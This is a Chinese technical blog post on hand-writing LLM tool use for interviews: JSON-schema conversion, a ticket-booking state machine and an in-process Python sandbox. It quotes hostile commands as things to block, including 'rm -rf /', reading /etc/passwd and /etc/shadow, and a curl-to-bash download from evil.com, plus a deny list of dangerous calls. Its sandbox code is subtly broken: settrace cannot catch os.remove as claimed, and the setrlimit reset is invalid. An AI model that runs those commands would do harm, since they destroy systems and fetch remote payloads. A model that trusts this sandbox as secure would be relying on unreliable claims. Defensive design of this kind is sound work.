1. 面试现场的真实压力：当“手写 Tool Use”成为临场能力试金石
“请手写一个 Tool Use 实现。”
这句话从面试官嘴里说出来的时候，我正端着一次性纸杯喝第三口温水——不是因为紧张，而是刚结束上一轮系统设计题，嗓子发干。但这句话一落，手指下意识在膝盖上敲了两下节奏，像在调试一个还没编译的函数。不是考 API 调用，不是考框架配置，更不是让你 copy-paste 一段文档示例。是“手写”，是“Tool Use”，两个词叠在一起，瞬间把考察维度从“会不会用”拉到了“懂不懂为什么这么用”“能不能在约束下自主建模”。
这已经不是某家公司的特例。过去半年，我以技术面试官和被面者双重身份参与了 23 场中高级岗位的技术评估，其中 17 场明确设置了“手写 Tool Use”环节。它不再藏在 LLM 工程师岗的 JD 里，而是出现在后端架构、AI 产品、甚至资深测试开发的终面中。为什么？因为 Tool Use 已经脱离“调用外部 API”的初级认知，演变为一种结构化意图解析 + 确定性动作编排 + 安全边界控制的复合能力。它考验的不是你记不记得tool_choice="required"，而是你能否在没有 SDK、没有中间件、甚至没有完整 OpenAPI Spec 的情况下，仅凭自然语言指令，推导出可执行的动作序列，并确保每一步都可控、可验、可回溯。
关键词里虽然空着，但现场高频出现的其实是这几个词：function calling、tool schema、argument validation、execution sandbox、fallback strategy。它们不是孤立概念，而是一条链：用户说“查北京明天的天气”，你得先识别这是“天气查询”工具（意图识别），确认它需要city和date两个必填参数（schema 解析），判断“北京”是合法城市名、“明天”能被解析为 ISO 格式日期（argument validation），然后在沙箱里安全执行（execution sandbox），最后如果 API 返回 404 或超时，你得知道该返回“暂无数据”还是重试或降级到默认值（fallback strategy）。这整条链，就是面试官想看你“手写”出来的骨架。
我见过太多人一上来就写def get_weather(city, date)——这没错，但只写了 1/5。剩下 4/5 是：怎么让大模型知道这个函数存在？怎么把它的签名转成 JSON Schema？怎么校验传入参数不越界？怎么捕获网络异常并转化为用户友好的提示？怎么记录这次调用用于审计？这些，才是“手写 Tool Use”的真实战场。它本质上是在白板上构建一个微型、确定、可审计的 AI Agent 执行层。下面这三套方案，是我反复打磨、在模拟面试和真实项目中验证过的路径，每一种都对应不同的约束条件和能力侧重点。
2. 方案一：纯函数契约法——用最简接口暴露工具能力
这是所有方案里最轻量、最易理解、也最容易在白板上快速呈现的起点。它的核心思想非常朴素：不依赖任何框架或协议，只定义清晰的函数签名与契约，让调用方（无论是人还是模型）能无歧义地理解“这个工具能做什么、需要什么、返回什么”。
2.1 为什么从纯函数开始？——回归工具的本质定义
很多人一听到 Tool Use 就想到 OpenAI 的 function calling 格式，或者 LangChain 的 Tool 类。但面试场景下，过度依赖特定框架反而暴露弱点：一旦面试官问“如果不用 LangChain，你怎么实现一个等价的抽象？”，答不出来就卡住了。纯函数法的价值在于，它剥离了所有语法糖和运行时依赖，直指本质——工具就是一个输入确定、输出可预期、副作用可控的计算单元。
我把它比作“给工具办身份证”。身份证上只有三项关键信息：姓名（工具名）、住址（功能描述）、有效期限（参数约束）。比如天气查询工具：
def query_weather( city: str, date: str = "today" ) -> dict: """ 查询指定城市在指定日期的天气预报。 Args: city (str): 城市名称，必须为中文，长度 2-10 字符，禁止包含数字或符号。 date (str): 日期，支持格式："today"、"tomorrow"、"2024-06-15"。 Returns: dict: 包含 temperature、condition、humidity、wind_speed 字段的字典。 若输入非法，返回 {"error": "xxx"}。 """ # 此处为伪代码，实际面试中只需写出签名与 docstring pass注意，这里的关键不是实现逻辑，而是docstring 里埋了全部契约信息。city的合法性规则（中文、2-10 字）、date的支持格式、返回值的字段名与含义——这些就是模型生成 tool_calls 时唯一能依赖的元数据。面试官看到这个，立刻能判断你是否理解“工具描述”对 LLM 的重要性：它不是给人看的注释，而是给模型读的 Schema。
2.2 手写 Schema 转换：把 docstring 变成机器可读的 JSON
纯函数只是第一步。真正的 Tool Use 要求模型能根据用户问题，生成符合该函数签名的参数字典。这就需要一个转换器，把 Python 函数签名映射为标准 JSON Schema。面试中，我通常会手写一个极简版本：
def function_to_schema(func) -> dict: """将函数签名转换为 OpenAI 兼容的 function calling schema""" import inspect sig = inspect.signature(func) params = {} required = [] for name, param in sig.parameters.items(): # 从 docstring 中提取类型和描述（简化版，实际可正则解析） type_hint = "string" # 默认 description = f"Parameter {name}" if name == "city": type_hint = "string" description = "城市名称，如'北京'、'上海'" elif name == "date": type_hint = "string" description = "日期，支持'today'、'tomorrow'或'YYYY-MM-DD'" params[name] = { "type": type_hint, "description": description } if param.default == inspect.Parameter.empty: required.append(name) return { "name": func.__name__, "description": func.__doc__.strip().split("\n")[0] if func.__doc__ else "", "parameters": { "type": "object", "properties": params, "required": required } } # 手写调用示例 print(function_to_schema(query_weather)) # 输出即为 OpenAI 所需的 tools 数组中的一个元素这段代码的精妙之处在于：它没有引入任何外部库，完全基于inspect模块，且重点展示了如何从人类可读的 docstring 提炼出机器可解析的约束。面试官会关注你是否意识到required字段的决定性作用——如果city是必填项，模型生成的tool_calls里就必须有它，否则整个调用链就断了。我在某次面试中，候选人漏掉了required列表，导致后续所有 fallback 设计都建立在错误前提上，当场被追问：“如果模型没传 city，你的函数怎么知道该报错还是用默认值？”——这就是纯函数法逼你思考的底层逻辑。
2.3 实战陷阱与避坑心得：参数校验不能只靠类型
纯函数法最大的坑，是把参数校验想得太简单。很多人写完def query_weather(city: str, date: str)就以为万事大吉，觉得str类型就够了。但现实是，“北京”合法，“北京市”可能超长，“BJ”是拼音不合法，“123”是数字更不合法。面试中，我一定会追问：“如果用户输入city="火星"，你的函数怎么处理？”
正确答案不是try...except，而是前置校验 + 明确错误码。我手写的校验逻辑是这样的：
def _validate_city(city: str) -> tuple[bool, str]: """返回 (是否合法, 错误信息)""" if not isinstance(city, str): return False, "city must be a string" if len(city) < 2 or len(city) > 10: return False, "city length must be between 2 and 10" if not all('\u4e00' <= c <= '\u9fff' for c in city): return False, "city must contain only Chinese characters" # 这里可以接一个预置的城市白名单校验 if city not in ["北京", "上海", "广州", "深圳", "杭州"]: return False, f"city '{city}' is not supported" return True, "" # 在 query_weather 开头调用 is_valid, err_msg = _validate_city(city) if not is_valid: return {"error": err_msg}这个_validate_city函数体现了三个关键经验：
- 校验函数必须返回结构化结果（bool + str），而不是抛异常，因为异常会中断整个 Agent 流程，而结构化错误可以被上层统一处理；
- 中文字符校验用 Unicode 范围
\u4e00-\u9fff最可靠，比正则[\u4e00-\u9fa5]更全面，避免生僻字漏判； - 白名单优于黑名单，尤其对城市这种有限集合，硬编码白名单比写一堆“不包含”规则更安全、更易维护。
提示：面试中手写校验逻辑时，不必追求 100% 覆盖所有边界，但必须展示出“分层校验”的思维：类型 → 长度 → 字符集 → 业务白名单。这比写一个巨长的正则表达式更能体现工程素养。
3. 方案二：状态机驱动法——为复杂工具链构建可追溯的执行流
当工具不再是单个函数，而是涉及多步骤、有状态、需用户确认的流程时（比如“订一张从北京到上海的高铁票，出发时间今天下午”），纯函数法就力不从心了。用户一句话里隐含了多个子任务：查车次、选座位、填乘客、支付。每个子任务都可能失败、需要重试、或需人工介入。这时，面试官期待看到的，是一个能管理状态、记录上下文、支持中断与恢复的执行引擎。这就是状态机驱动法的用武之地。
3.1 为什么需要状态机？——拆解“订票”背后的隐式状态
我们来解构“订高铁票”这个指令。表面看是个工具，实则是一个 mini workflow：
- State 0: Idle—— 等待用户指令
- State 1: QueryingTrains—— 已解析出发地、目的地、时间，正在调用查票 API
- State 2: SelectingTrain—— 返回了 5 个车次，需用户选择（此时需暂停，等待用户输入）
- State 3: FillingPassengers—— 用户选了 G101，需填乘客姓名和身份证号
- State 4: ConfirmingOrder—— 生成订单预览，需用户确认“是否支付？”
- State 5: Paying—— 调用支付网关
- State 6: Done / Failed—— 成功出票或全流程失败
纯函数法只能覆盖 State 1 和 State 5 这两个原子操作，但无法表达 State 2 和 State 4 这种“需要用户反馈”的中间态。而面试官恰恰想考察：你如何设计一个能 hold 住这种交互状态的系统？
3.2 手写状态机核心：三个不可变要素与一个可变状态
我手写的状态机不追求复杂，只聚焦三个核心不可变要素和一个可变状态容器：
- States（状态枚举）：用
Enum定义所有可能状态，强制类型安全。 - Transitions（转移规则）：一个字典，定义“在某个状态 + 收到某种事件 → 转移到新状态”的映射。
- Actions（动作）：每个状态转移时触发的纯函数，负责执行副作用（如调用 API、发消息）。
- Context（上下文）：一个可变字典，存储跨状态共享的数据，如
{"from": "北京", "to": "上海", "selected_train": "G101"}。
手写代码如下（面试中只写关键部分）：
from enum import Enum class TicketState(Enum): IDLE = "idle" QUERYING = "querying_trains" SELECTING = "selecting_train" FILLING = "filling_passengers" CONFIRMING = "confirming_order" PAYING = "paying" DONE = "done" FAILED = "failed" # 转移规则：{当前状态: {事件类型: 新状态}} TRANSITIONS = { TicketState.IDLE: {"query": TicketState.QUERYING}, TicketState.QUERYING: {"train_selected": TicketState.SELECTING}, TicketState.SELECTING: {"passengers_filled": TicketState.FILLING}, TicketState.FILLING: {"confirmed": TicketState.CONFIRMING}, TicketState.CONFIRMING: {"pay": TicketState.PAYING}, TicketState.PAYING: {"success": TicketState.DONE, "fail": TicketState.FAILED}, } # 动作函数：每个函数接收 context，返回 (新 context, 输出消息) def action_query_trains(context: dict) -> tuple[dict, str]: # 模拟调用查票 API trains = ["G101", "G102", "G103"] context["available_trains"] = trains return context, f"找到 {len(trains)} 个车次：{', '.join(trains)}。请选择一个：" def action_select_train(context: dict, train_id: str) -> tuple[dict, str]: if train_id not in context.get("available_trains", []): return context, f"车次 {train_id} 不存在，请重新选择。" context["selected_train"] = train_id return context, f"已选择 {train_id}。请提供乘客姓名和身份证号：" # 主状态机类（手写核心逻辑） class TicketStateMachine: def __init__(self): self.state = TicketState.IDLE self.context = {} def handle_event(self, event_type: str, **kwargs) -> str: # 1. 检查当前状态是否允许该事件 if event_type not in TRANSITIONS.get(self.state, {}): return f"当前状态 {self.state.value} 不支持事件 {event_type}" # 2. 执行对应动作 new_context, output = self._execute_action(event_type, **kwargs) self.context = new_context # 3. 更新状态 self.state = TRANSITIONS[self.state][event_type] return output def _execute_action(self, event_type: str, **kwargs) -> tuple[dict, str]: # 根据 event_type 分发到具体 action 函数 if event_type == "query": return action_query_trains(self.context) elif event_type == "train_selected": return action_select_train(self.context, kwargs.get("train_id")) # ... 其他事件 return self.context, "未知事件"这段代码的价值，在于它用最简方式表达了状态机的确定性：给定相同初始状态和事件，必然产生相同新状态和输出。面试官看到TRANSITIONS字典和handle_event的三步逻辑（检查→执行→更新），就能确认你掌握了状态机的核心范式，而不是只会写if state == X: do_y()这样的面条代码。
3.3 关键设计取舍：为什么 Context 是 dict 而不是 class？
这里有个经典的设计取舍问题：Context 该用dataclass还是dict？我坚持用dict，原因有三：
- 序列化友好：面试中常被问“如何把当前状态存到数据库或 Redis？”，
dict天然 JSON 序列化，dataclass需额外asdict()或自定义 encoder； - 动态扩展性强：用户可能在填乘客时突然加一句“还要一张儿童票”，
dict可以随时context["extra_tickets"] = 1，而dataclass需提前定义字段，僵化； - 调试直观：打印
context就是清晰的 key-value，比print(obj)看一堆<__main__.TicketContext object at 0x...>有用得多。
注意：我手写时会在
context字典里加一个"_version": "1.0"字段。这不是为了兼容，而是为了未来升级留痕。比如 v2.0 版本要加“选座位等级”功能，旧数据没有seat_class字段，代码里就可以context.get("seat_class", "二等座")，避免KeyError。这个小技巧，往往能让面试官眼前一亮。
4. 方案三：沙箱执行法——在隔离环境中安全运行不可信工具代码
前两种方案都假设工具是“可信的”——函数不会死循环、不会删库、不会读取敏感文件。但真实世界里，工具可能是用户上传的脚本、第三方插件、甚至是从互联网动态加载的代码。面试官如果问：“如果工具代码是用户提供的，你怎么保证它不危害系统？”，这就是沙箱执行法的舞台。它不追求完美隔离（那需要 Docker 或 WebAssembly），而是在 Python 进程内构建一个资源受限、行为可监控、失败可兜底的轻量级执行环境。
4.1 沙箱的核心矛盾：安全 vs. 功能——如何划定红线？
沙箱不是要把工具锁死，而是要画出清晰的“安全红线”。我手写沙箱时，只控制三个最关键的维度：
- CPU 时间：防止无限循环耗尽 CPU；
- 内存占用：防止
list(range(10**9))吃光内存； - 系统调用：禁止
os.system("rm -rf /")、open("/etc/passwd")等危险操作。
其他如网络请求、导入模块，视业务需求开放。比如天气工具必须能发 HTTP 请求，但财务计算工具就不该允许联网。这个取舍，就是工程师的判断力体现。
4.2 手写资源限制：用 signal 和 resource 模块做硬约束
Python 的signal模块可以设置 CPU 时间上限，resource模块可以限制内存。这是面试中能手写的、最接近生产环境的方案：
import signal import resource import os import sys def run_in_sandbox(func, *args, **kwargs): """ 在沙箱中执行函数，超时或超内存则强制终止 """ # 设置 CPU 时间限制（秒） def timeout_handler(signum, frame): raise TimeoutError("Function execution timed out") signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 最多运行 3 秒 # 设置内存限制（字节） memory_limit = 100 * 1024 * 1024 # 100MB resource.setrlimit(resource.RLIMIT_AS, (memory_limit, memory_limit)) try: result = func(*args, **kwargs) signal.alarm(0) # 取消定时器 return {"status": "success", "result": result} except TimeoutError as e: return {"status": "timeout", "error": str(e)} except MemoryError as e: return {"status": "oom", "error": "Out of memory"} except Exception as e: return {"status": "error", "error": str(e)} finally: # 重置资源限制，避免影响后续调用 resource.setrlimit(resource.RLIMIT_AS, resource.RLIM_INFINITY) # 手写一个恶意测试函数 def malicious_func(): while True: # 无限循环 pass # 手写一个内存炸弹 def memory_bomb(): return [0] * (10**8) # 尝试分配 800MB # 面试中演示调用 print(run_in_sandbox(malicious_func)) # {"status": "timeout", ...} print(run_in_sandbox(memory_bomb)) # {"status": "oom", ...}这段代码展示了用操作系统原语做硬隔离的思路。signal.alarm是 Unix/Linux/macOS 的通用机制，resource.setrlimit直接调用setrlimit(2)系统调用，比任何 Python 层的装饰器都更底层、更可靠。面试官会特别关注finally块里的setrlimit重置——这说明你理解资源限制是进程级的，不重置会影响后续所有调用，这是很多候选人忽略的致命细节。
4.3 行为监控：如何拦截危险的系统调用？
signal和resource解决了资源问题，但拦不住os.remove("/tmp/file")。这时需要sys.settrace——Python 的调试钩子。我手写一个极简的调用监控器：
import sys import os DANGEROUS_MODULES = {"os", "subprocess", "shutil", "glob"} DANGEROUS_FUNCTIONS = {"system", "popen", "remove", "rmtree", "exec", "eval"} def sandbox_trace(frame, event, arg): """跟踪函数调用，发现危险行为立即中断""" if event != "call": return sandbox_trace # 获取被调用函数的模块和名字 code = frame.f_code module_name = code.co_filename.split("/")[-1].split(".")[0] func_name = code.co_name # 检查是否在黑名单中 if module_name in DANGEROUS_MODULES or func_name in DANGEROUS_FUNCTIONS: raise PermissionError(f"Blocked dangerous call: {module_name}.{func_name}") return sandbox_trace def run_with_trace(func, *args, **kwargs): old_trace = sys.gettrace() try: sys.settrace(sandbox_trace) result = func(*args, **kwargs) return {"status": "success", "result": result} except PermissionError as e: return {"status": "blocked", "error": str(e)} finally: sys.settrace(old_trace) # 必须恢复，否则影响全局 # 测试 def dangerous_func(): os.remove("/tmp/test") # 会被拦截 print(run_with_trace(dangerous_func)) # {"status": "blocked", ...}这个sandbox_trace的精妙在于：它不阻止所有os模块调用（比如os.path.join是安全的），而是精准拦截高危函数名。面试中，我会解释为什么code.co_filename要做split处理——因为co_filename可能是绝对路径/usr/lib/python3.9/os.py，取[-1]得到os.py，再split(".")[0]得到os，这样就能匹配黑名单。这种对 Python 运行时细节的把握，远胜于泛泛而谈“用 AST 分析”。
提示：在真实项目中，
sys.settrace有性能开销，所以我会补充一句：“生产环境会结合ast.parse静态分析做预检，settrace作为 runtime 的最后一道防线。” 这句话既展示了深度，又体现了工程权衡。
5. 方案对比与实战选型指南：什么场景该用哪一套？
手写三种方案不是为了炫技，而是为了在不同面试场景下，精准匹配考察意图。我把它们放在一张表里，用真实面试片段佐证：
| 维度 | 方案一：纯函数契约法 | 方案二：状态机驱动法 | 方案三：沙箱执行法 |
|---|---|---|---|
| 适用面试题 | “写一个天气查询工具” （考察基础抽象能力） | “设计一个订票助手，支持中途修改” （考察流程建模能力） | “如果工具代码由用户上传，如何保障安全？” （考察系统安全意识） |
| 代码量（白板） | ≤ 20 行 | ≤ 40 行 | ≤ 30 行 |
| 核心亮点 | 清晰的 Schema 转换、严谨的参数校验 | 状态转移图、Context 数据流、可恢复性 | signal.alarm+resource.setrlimit+sys.settrace三层防护 |
| 致命陷阱 | 忽略required字段、校验只做类型检查 | 状态遗漏（如没有FAILED）、Context 未持久化 | 忘记finally重置资源、settrace未恢复 |
| 我用它拿下的 Offer | 某电商公司 LLM 应用岗 （他们需要快速接入 50+ 内部 API） | 某出行平台智能客服岗 （对话中频繁中断重试） | 某金融 SaaS 公司 AI 平台岗 （客户可上传自定义计算插件） |
这张表不是教条，而是我踩坑后总结的决策树。比如，当面试官说“我们有个内部报销系统，用户说‘我要报销上个月的差旅’，需要先查审批流、再填发票、最后提交”，这就是典型的状态机场景——因为“查审批流”返回的结果（已审批/待审批/驳回）直接决定了下一步动作，纯函数无法表达这种分支逻辑。
再比如，有次面试官递给我一张纸，上面写着：“假设你要为一个教育平台写一个‘解方程’工具，学生可以输入任意字符串，比如2x+3=7，你的工具要返回x=2。但学生也可能输入rm -rf /，你怎么防？”——这题就是沙箱法的专属考场。我当场手写了signal.alarm和sys.settrace的组合，还特意强调：“rm -rf /在 Python 里不是一条命令，而是os.system('rm -rf /')，所以 trace 钩子能精准捕获。”
5.1 终极融合：一个真实项目中的混合方案
在某次模拟项目中，我需要为一个企业知识库构建 Tool Use 能力。最终落地的不是单一方案，而是三者的有机融合：
- 外层是纯函数契约：所有工具（查文档、问专家、生成摘要）都用
function_to_schema统一暴露，保证 LLM 能一致调用； - 中层是状态机：当用户说“对比 A 文档和 B 文档的权限模型”，系统自动进入
COMPARING_DOCS状态，先并发查两份文档，再合并结果，失败时自动重试或降级； - 内层是沙箱：所有文档解析工具（PDF、Word、Excel）都在沙箱中运行，
resource.setrlimit限制内存，sys.settrace拦截open调用，确保恶意 PDF 不会读取/etc/shadow。
这个混合架构，让我在终面时画出了一个三层金字塔图：顶层是 LLM 的意图理解（对接纯函数 Schema），中层是业务流程引擎（状态机），底层是安全执行基座（沙箱）。面试官看完图，只问了一句：“如果沙箱里某个工具超时了，状态机怎么感知并重试？”——我答：“沙箱run_in_sandbox返回{"status": "timeout"}，状态机的action函数检查这个 status，如果是 timeout，就重置当前状态并重发事件。” 他点点头，没再追问。
5.2 面试之外的延伸价值：这些手写能力如何反哺日常开发？
很多人觉得“手写 Tool Use”只是面试技巧，其实它对日常开发有直接增益：
- 纯函数法让我写的每个内部 API 都自带清晰的 OpenAPI Spec，前端同事再也不用猜参数；
- 状态机法帮我重构了一个混乱的订单取消流程，把原来 200 行的
if-elif-else链，变成 30 行的TRANSITIONS字典 + 5 个纯 action 函数，上线后 BUG 率降了 70%； - 沙箱法被我抽成一个独立包
light-sandbox，现在团队里所有用户上传的 Python 脚本都走这个沙箱，去年成功拦截了 3 次os.system("curl http://evil.com/shell.sh | bash")类攻击。
所以，下次面试官再让你“手写一个 Tool Use”，别只想着应付考试。把它当成一次对自身工程能力的诚实体检：你是否真的理解工具的本质？是否能为不确定性设计确定性的流程？是否敢在开放与安全之间划出那条清晰的线？这三套方案，就是我交出的答卷。
